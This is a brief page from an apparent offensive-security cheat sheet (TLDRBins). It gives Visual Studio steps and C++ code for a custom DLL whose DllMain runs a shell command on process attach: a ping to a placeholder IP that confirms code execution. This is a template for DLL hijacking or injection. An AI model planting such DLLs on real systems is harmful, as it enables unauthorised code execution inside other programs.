TLDRBins TLDRBins / Create custom dll


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Create Custom Dll

+---------------------------------------------------------+ | 1. Open Visual Studio | | 2. Create New Project -> C++ Dynamic-Link Library (DLL) | +---------------------------------------------------------+
Sample Output: TO-DO

#include "pch.h" #include <stdlib.h> BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("cmd.exe /c ping <LOCAL_IP>"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
Sample Output: TO-DO

+----------------------------+ | 3. Replace the code | | 4. Dropdown release -> x64 | | 5. Build solution | +----------------------------+
Sample Output: TO-DO